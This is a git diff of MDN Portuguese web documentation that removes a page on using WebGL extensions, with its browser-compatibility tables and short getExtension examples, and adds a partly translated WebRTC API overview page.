+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FuncionalidadeChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support9{{CompatGeckoDesktop("2.0")}}11125.1
ANGLE_instanced_arrays{{CompatUnknown}}{{CompatGeckoDesktop("33.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_blend_minmax{{CompatUnknown}}{{CompatGeckoDesktop("33.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_color_buffer_float{{CompatUnknown}}{{CompatGeckoDesktop("49.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_color_buffer_half_float{{CompatUnknown}}{{CompatGeckoDesktop("30.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_disjoint_timer_query{{CompatUnknown}}{{CompatGeckoDesktop("41.0")}} [1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_frag_depth{{CompatUnknown}}{{CompatGeckoDesktop("30.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_sRGB{{CompatUnknown}}{{CompatGeckoDesktop("28.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_shader_texture_lod{{CompatUnknown}}{{CompatGeckoDesktop("50.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_texture_filter_anisotropic{{CompatUnknown}}{{CompatGeckoDesktop("17.0")}} [2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_element_index_uint{{CompatUnknown}}{{CompatGeckoDesktop("24.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_standard_derivatives{{CompatUnknown}}{{CompatGeckoDesktop("10.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_float{{CompatUnknown}}{{CompatGeckoDesktop("6.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_float_linear{{CompatUnknown}}{{CompatGeckoDesktop("24.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_half_float{{CompatUnknown}}{{CompatGeckoDesktop("29.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_half_float_linear{{CompatUnknown}}{{CompatGeckoDesktop("30.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_vertex_array_object{{CompatUnknown}}{{CompatGeckoDesktop("25.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_color_buffer_float{{CompatUnknown}}{{CompatGeckoDesktop("30.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_astc{{CompatUnknown}}{{CompatGeckoDesktop("53.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_atc{{CompatUnknown}}{{CompatGeckoDesktop("18.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_etc{{CompatUnknown}}{{CompatGeckoDesktop("51.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_etc1{{CompatUnknown}}{{CompatGeckoDesktop("30.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_pvrtc{{CompatUnknown}}{{CompatGeckoDesktop("18.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_s3tc{{CompatUnknown}}{{CompatGeckoDesktop("22.0")}} [2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_s3tc_srgb{{CompatUnknown}}{{CompatGeckoDesktop("55.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_debug_renderer_info{{CompatUnknown}}{{CompatGeckoDesktop("19.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_debug_shaders{{CompatUnknown}}{{CompatGeckoDesktop("30.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_depth_texture{{CompatUnknown}}{{CompatGeckoDesktop("22.0")}} [2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_draw_buffers{{CompatUnknown}}{{CompatGeckoDesktop("28.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_lose_context{{CompatUnknown}}{{CompatGeckoDesktop("22.0")}} [2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FuncionalidadesAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}25{{CompatGeckoMobile("2.0")}}{{CompatVersionUnknown}}128.0
ANGLE_instanced_arrays{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_blend_minmax{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_color_buffer_float{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_color_buffer_half_float{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_disjoint_timer_query{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_frag_depth{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_sRGB{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_shader_texture_lod{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_texture_filter_anisotropic{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_element_index_uint{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_standard_derivatives{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_float{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_float_linear{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_half_float{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_half_float_linear{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_vertex_array_object{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_color_buffer_float{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_astc{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_atc{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_etc{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_etc1{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_s3tc{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_pvrtc{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_s3tc{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_s3tc_srgb{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_debug_renderer_info{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_debug_shaders{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_depth_texture{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_draw_buffers{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_lose_context{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Toggling the webgl.enable-draft-extensions preference in about:config is required.

+ +

[2] This extension was prefixed with MOZ_ in prior versions.

+ +

Consulte também

+ + + +
+ + + + + +
diff --git "a/files/pt-pt/web/api/webgl_api/utilizar_extens\303\265es/index.html" "b/files/pt-pt/web/api/webgl_api/utilizar_extens\303\265es/index.html" deleted file mode 100644 index a8bbe535d2..0000000000 --- "a/files/pt-pt/web/api/webgl_api/utilizar_extens\303\265es/index.html" +++ /dev/null @@ -1,718 +0,0 @@ ---- -title: Utilizar extensões de WebGL -slug: Web/API/WebGL_API/Utilizar_Extensões -tags: - - Avançado - - WebGL -translation_of: Web/API/WebGL_API/Using_Extensions ---- -
{{WebGLSidebar}}
- -

WebGL, like its sister APIs (OpenGL and OpenGL ES), supports extensions. A complete list of extensions is available in the khronos webgl extension registry.

- -
Nota: In WebGL, unlike in other GL APIs, extensions are only available if explicitly requested.
- -

Nomes de extensão canónica, prefixos e preferências da empresa

- -

Extensions may be supported by browser vendors before being officially ratified (but only when they are in draft stage). In that case, their name can be prefixed by the vendor prefix (MOZ_, WEBKIT_, etc.) or the extension is only available once a browser preference has been toggled.

- -

If you wish to work with the bleeding edge of extensions, and want to keep working on upon ratification (assuming, of course, that the extension doesn't change in incompatible ways), that you query the canonical extension name as well as the vendor extension name. For instance:

- -
var ext = (
-  gl.getExtension('OES_vertex_array_object') ||
-  gl.getExtension('MOZ_OES_vertex_array_object') ||
-  gl.getExtension('WEBKIT_OES_vertex_array_object')
-);
-
- -

Note that, vendor prefix have been discouraged more and more and thus most browser implement experimental extensions behind a feature flag rather than vendor prefix.

- -

The feature flags are:

- - - -

Convenções de nomeação

- -

WebGL extensions are prefixed with "ANGLE", "OES", "EXT" or "WEBGL". These prefixes reflect origin and intent:

- - - -

Extensões de consulta disponíveis

- -

O contexto de WebGL suporta a consulta de quais as extensões que estão disponíveis.

- -
var available_extensions = gl.getSupportedExtensions();
- -

The {{domxref("WebGLRenderingContext.getSupportedExtensions()")}} method returns an array of strings, one for each supported extension.

- -

Lista de extensões

- -

As extensões atuais são:

- -

{{page("pt-PT/docs/Web/API/WebGL_API", "Extensões")}}

- -

Ativar uma extensão

- -

Before an extension can be used it has to be enabled using {{domxref("WebGLRenderingContext.getExtension()")}}. For example:

- -
var float_texture_ext = gl.getExtension('OES_texture_float');
- -

The return value is null if the extension is not supported, or an extension object otherwise.

- -

Objetos de extensão

- -

If an extension defines specific symbols or functions that are not available in the core specification of WebGL, they will be available on the extension object returned by the call to gl.getExtension().

- -

Compatibilidade de navegador

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FuncionalidadeChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support9{{CompatGeckoDesktop("2.0")}}11125.1
ANGLE_instanced_arrays{{CompatUnknown}}{{CompatGeckoDesktop("33.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_blend_minmax{{CompatUnknown}}{{CompatGeckoDesktop("33.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_color_buffer_float{{CompatUnknown}}{{CompatGeckoDesktop("49.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_color_buffer_half_float{{CompatUnknown}}{{CompatGeckoDesktop("30.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_disjoint_timer_query{{CompatUnknown}}{{CompatGeckoDesktop("41.0")}} [1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_frag_depth{{CompatUnknown}}{{CompatGeckoDesktop("30.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_sRGB{{CompatUnknown}}{{CompatGeckoDesktop("28.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_shader_texture_lod{{CompatUnknown}}{{CompatGeckoDesktop("50.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_texture_filter_anisotropic{{CompatUnknown}}{{CompatGeckoDesktop("17.0")}} [2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_element_index_uint{{CompatUnknown}}{{CompatGeckoDesktop("24.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_standard_derivatives{{CompatUnknown}}{{CompatGeckoDesktop("10.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_float{{CompatUnknown}}{{CompatGeckoDesktop("6.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_float_linear{{CompatUnknown}}{{CompatGeckoDesktop("24.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_half_float{{CompatUnknown}}{{CompatGeckoDesktop("29.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_half_float_linear{{CompatUnknown}}{{CompatGeckoDesktop("30.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_vertex_array_object{{CompatUnknown}}{{CompatGeckoDesktop("25.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_color_buffer_float{{CompatUnknown}}{{CompatGeckoDesktop("30.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_astc{{CompatUnknown}}{{CompatGeckoDesktop("53.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_atc{{CompatUnknown}}{{CompatGeckoDesktop("18.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_etc{{CompatUnknown}}{{CompatGeckoDesktop("51.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_etc1{{CompatUnknown}}{{CompatGeckoDesktop("30.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_pvrtc{{CompatUnknown}}{{CompatGeckoDesktop("18.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_s3tc{{CompatUnknown}}{{CompatGeckoDesktop("22.0")}} [2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_s3tc_srgb{{CompatUnknown}}{{CompatGeckoDesktop("55.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_debug_renderer_info{{CompatUnknown}}{{CompatGeckoDesktop("19.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_debug_shaders{{CompatUnknown}}{{CompatGeckoDesktop("30.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_depth_texture{{CompatUnknown}}{{CompatGeckoDesktop("22.0")}} [2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_draw_buffers{{CompatUnknown}}{{CompatGeckoDesktop("28.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_lose_context{{CompatUnknown}}{{CompatGeckoDesktop("22.0")}} [2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FuncionalidadesAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}25{{CompatGeckoMobile("2.0")}}{{CompatVersionUnknown}}128.0
ANGLE_instanced_arrays{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_blend_minmax{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_color_buffer_float{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_color_buffer_half_float{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_disjoint_timer_query{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_frag_depth{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_sRGB{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_shader_texture_lod{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_texture_filter_anisotropic{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_element_index_uint{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_standard_derivatives{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_float{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_float_linear{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_half_float{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_half_float_linear{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_vertex_array_object{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_color_buffer_float{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_astc{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_atc{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_etc{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_etc1{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_s3tc{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_pvrtc{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_s3tc{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_s3tc_srgb{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_debug_renderer_info{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_debug_shaders{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_depth_texture{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_draw_buffers{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_lose_context{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

[1] Toggling the webgl.enable-draft-extensions preference in about:config is required.

- -

[2] This extension was prefixed with MOZ_ in prior versions.

- -

Consulte também

- - - -
- - - - - -
diff --git a/files/pt-pt/web/api/webrtc_api/index.html b/files/pt-pt/web/api/webrtc_api/index.html new file mode 100644 index 0000000000..8e1b31898b --- /dev/null +++ b/files/pt-pt/web/api/webrtc_api/index.html @@ -0,0 +1,287 @@ +--- +title: API de WebRTC +slug: Web/API/API_WebRTC +tags: + - API + - API de WebRTC + - API de WebRTCÁudio + - Multimedia + - Rede + - Video + - WebRTC + - emissão + - transmissão +translation_of: Web/API/WebRTC_API +--- +
{{APIRef("WebRTC")}}
+ +

WebRTC (Comunicações da Web em Tempo Real) é uma tecnologia que permite às aplicações e sites da Web capturar e opcionalmente transmitir multimédia de áudio e/ou vídeo, bem como trocar dados arbitrariamente entre navegadores sem a necessidade de um intermediário. O conjunto de normas que compreende WebRTC torna possível a partilha de dados e realizar teleconferência peer-to-peer, sem precisar que o utilizador instale plug-ins ou qualquer outro software de terceiros.

+ +

WebRTC consiste em diversos protocolos e APIs inter-relacionadas que trabalham em conjunto para obter isto. A documentação que irá encontrar aqui irá ajudá-lo a compreender o essencial de WebRTC, como configurar e utilizar ligações de dados e multimédia, e muito mais.

+ +

Conceitos e utilização de WebRTC

+ +

O WebRTC atende múltiplos propósitos e se destaca consideravelmente com Media Capture e Streams API. Juntos, eles fornecem recursos multimídia poderosos para a Web, incluindo suporte para conferências de áudio e vídeo, troca de arquivos, gerenciamento de identidade e interface com sistemas telefônicos legados, enviando sinais  {{Glossary("DTMF")}} . As conexões entre pares podem ser feitas sem exigir drivers especiais ou plug-ins, e muitas vezes podem ser feitas sem nenhum servidor intermediário.

+ +

As conexões entre dois pares são criadas usando - e representadas pela interface - {{domxref("RTCPeerConnection")}} . Uma vez que uma conexão foi estabelecida e aberta, os fluxos de mídia ({{domxref("MediaStream")}}s) e / ou canais de dados ({{domxref("RTCDataChannel")}}s) podem ser adicionados à conexão.

+ +

Os fluxos de mídia podem ser constituídos de qualquer número de faixas de informações de mídia; As faixas, que são representadas por objetos com base na interface {{domxref("MediaStreamTrack")}} , podem conter um dos vários tipos de dados de mídia, incluindo áudio, vídeo e texto (como legendas ou nomes de capítulos) . A maioria dos fluxos consistem em pelo menos uma faixa de áudio e provavelmente também uma faixa de vídeo, e pode ser usados para enviar e receber mídia ao vivo ou informações de mídia armazenada (como um filme transmitido).

+ +

Você também pode usar a conexão entre dois pares para trocar dados binários arbitrários usando a interface {{domxref("RTCDataChannel")}} . Isso pode ser usado para informações back-channel, troca de metadados, pacotes com status de jogos, transferências de arquivos ou mesmo como um canal primário para transferência de dados.

+ +

Mais detalhes e links para guias relevantes e tutoriais necessários

+ +

Interfaces de WebRTC

+ +

Como a WebRTC fornece interfaces que trabalham juntas para realizar uma variedade de tarefas, dividimos as interfaces na lista abaixo por categoria. Veja a barra lateral para uma lista alfabética.

+ +

Gestão e configuração de ligação

+ +

Essas interfaces são usadas para configurar, abrir e gerenciar conexões WebRTC.

+ +
+
{{domxref("RTCPeerConnection")}}
+
Representa uma conexão WebRTC entre o computador local e um ponto remoto. Ele é usado para lidar com transmissão eficiente de dados entre os dois pares.
+
{{domxref("RTCDataChannel")}}
+
Representa um canal de dados bidirecional entre dois pares de uma conexão.
+
{{domxref("RTCDataChannelEvent")}}
+
Representa eventos que ocorrem ao anexar um {{domxref("RTCDataChannel")}} a um {{domxref("RTCPeerConnection")}} . O único evento enviado com esta interface é {{event("datachannel")}} .
+
{{domxref("RTCSessionDescription")}}
+
Representa os parâmetros de uma sessão. Cada RTCSessionDescription consiste em um tipo de descrição que indica qual parte do processo de negociação de oferta(offer) / resposta(answer) isso descreve e do SDP descritor da sessão.
+
{{domxref("RTCStatsReport")}}
+
Fornece informações detalhando estatísticas para uma conexão ou para uma faixa individual na conexão; O relatório pode ser obtido chamando {{domxref("RTCPeerConnection.getStats()")}} .
+
{{domxref("RTCIceCandidate")}}
+
Representa um servidor candidato que estabelece a conectividade de internet (ICE -internet connectivity establishment) para estabelecer um {{domxref("RTCPeerConnection")}} .
+
{{domxref("RTCIceTransport")}}
+
Representa informações sobre o transporte referentes ao estabelecimento de conectividade de internet (ICE - internet connectivity establishment).
+
{{domxref("RTCPeerConnectionIceEvent")}}
+
Representa eventos que ocorrem em relação aos candidatos ICE com o destino, geralmente um {{domxref("RTCPeerConnection")}} . Apenas um evento é deste tipo: {{event("icecandidate")}} .
+
{{domxref("RTCRtpSender")}}
+
Gerencia a codificação e a transmissão de dados para um {{domxref("MediaStreamTrack")}} em {{domxref("RTCPeerConnection")}}.
+
{{domxref("RTCRtpReceiver")}}
+
Gerencia a recepção e decodificação de dados para um {{domxref("MediaStreamTrack")}} em um {{domxref("RTCPeerConnection")}}.
+
{{domxref("RTCTrackEvent")}}
+
Indica que uma nova entrada {{domxref("MediaStreamTrack")}} foi criada e um objeto associado {{domxref("RTCRtpReceiver")}} foi adicionado ao objeto {{domxref("RTCPeerConnection")}} .
+
+ +

Identidade e segurança

+ +

A API WebRTC inclui uma série de interfaces para gerenciar segurança e identidade.

+ +
+
{{domxref("RTCIdentityProvider")}}
+
Permite que um agente do usuário possa solicitar que uma confirmação de identidade seja gerada ou validada.
+
{{domxref("RTCIdentityAssertion")}}
+
Representa a identidade de um ponto remoto da conexão atual. Caso nenhum par (peer) seja configurado e verificado, esta interface retorna null. Uma vez configurado, este não poderá ser alterado.
+
{{domxref("RTCIdentityProviderRegistrar")}}
+
Registra um provedor de identidade (idP).
+
{{domxref("RTCIdentityEvent")}}
+
Representa uma confirmação de identidade gerada por um provedor de identidade (idP). Isso geralmente é para um {{domxref("RTCPeerConnection")}}. O único evento enviado com este tipo é {{event("identityresult")}}.
+
